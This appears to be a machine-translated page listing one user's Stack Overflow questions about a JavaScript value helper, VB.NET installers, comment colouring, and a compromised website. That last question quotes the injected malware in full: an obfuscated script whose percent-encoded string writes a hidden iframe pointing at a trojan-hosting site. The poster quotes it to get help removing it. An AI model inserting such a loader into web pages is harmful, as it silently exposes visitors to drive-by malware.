小编Cyc*_*one的帖子

返回JS函数内的值

有人可以向我解释为什么我不能在函数内部使用document.getElementById('id').value?

我试图制作一个简单的乘法脚本(我正在学习JS,它实际上有点好玩)并且很快就意识到输入整行代码只是为了返回一个值是多么烦人,所以我写了一个小函数:

<script type="text/javascript">
function value(elementid){
return document.getElementById(elementid).value
}
</script>
Run Code Online (Sandbox Code Playgroud)

但是,这不起作用,只会破坏我的整个脚本的功能.我想简单地键入value('id')来返回元素的值.

为了解决这个问题,一位朋友建议我取出函数中的.value并将其添加到我调用函数的每一行的末尾,比如value('id').value.

为什么我的第一种方式不起作用?

谢谢您的帮助!

javascript return-value

0
推荐指数
1
解决办法
341
查看次数

有没有办法使用微软的工具在 vb.net 中创建 Windows 安装程序包?

我想使用 Visual Studio 创建 Windows 安装程序包。据我了解,在 vb6 中有一种简单的方法可以做到这一点,您可以添加一个安装程序,就像添加一个新表单一样。

我怎样才能在vb.net中做到这一点?我从http://www.microsoft.com/downloads/details.aspx?FamilyID=c17ba869-9671-4330-a63e-1fd44e0e2505&displaylang=en下载并安装了Windows SDK,因为它在某处说它可以创建安装程序包并有工具为 .net 这样做,但没有这样的运气。

我不想为此使用 NSIS 或 Inno Setup。

有什么方法可以通过安装程序包获得与 vb6 相同的功能吗?

谢谢,我觉得我在这里错过了重要的一步......

编辑:我使用的是 Visual Basic 2008 Express,不是专业的。我的模板选项下没有“设置和部署”或类似的内容。

vb.net windows-installer

0
推荐指数
1
解决办法
9831
查看次数

以编程方式停止html/javascript/css中的特定代码块

我网站上的服务器上也有病毒.

病毒会注入恶意代码

<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
Run Code Online (Sandbox Code Playgroud)

在每个服务的单个页面上,它正在由Apache或类似的东西进行预处理,以将其添加到文件的末尾.

我创建了一个测试文件,其代码如下:

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
</body>
</html>
Run Code Online (Sandbox Code Playgroud)

它并不漂亮,但却达到了它的目的.

在浏览器中查看页面时,我明白了

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script> 
</body> 
</html>
Run Code Online (Sandbox Code Playgroud)

可以从www.sagamountain.com/testfile.html查看(警告,此页面已被感染)

我需要以编程方式停止该div和该脚本的执行,因为它是一个iframe到其上有木马的网站.HTML,CSS或JS,我只需要一些方法来阻止JS执行.

它已经显示:无,所以你看不到它,但是如何防止iframe一直加载呢?

谢谢您的帮助!unescape的事情解决了http://ncccnnnc.cn/img/index.php的iframe,这显然是我烦恼的根源.不要去那个网站!

编辑:这是对https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459的跟进#78459

html javascript css antivirus

0
推荐指数
1
解决办法
156
查看次数

为什么代码中的注释颜色不同?

为什么不同程序中的注释会有不同颜色?它只是美学还是有实际的原因?

usability comments

-2
推荐指数
2
解决办法
694
查看次数